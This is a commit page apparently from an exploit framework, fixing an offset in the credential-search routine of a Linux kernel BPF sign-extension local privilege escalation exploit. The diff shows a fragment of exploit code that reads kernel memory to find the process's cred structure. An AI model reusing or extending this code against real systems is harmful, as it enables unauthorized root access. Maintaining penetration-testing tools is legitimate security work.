Land #14279, Fix incorrect offset in BPF sign extension LPE

This commit is contained in:
Grant Willcox 2020-10-23 16:02:13 -05:00
commit 65fcf67ca5
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
2 changed files with 1 additions and 1 deletions

View File

@ -456,7 +456,7 @@ static unsigned long find_cred() {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
unsigned long test_uid = (read64(cred_struct + sizeof(int)) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;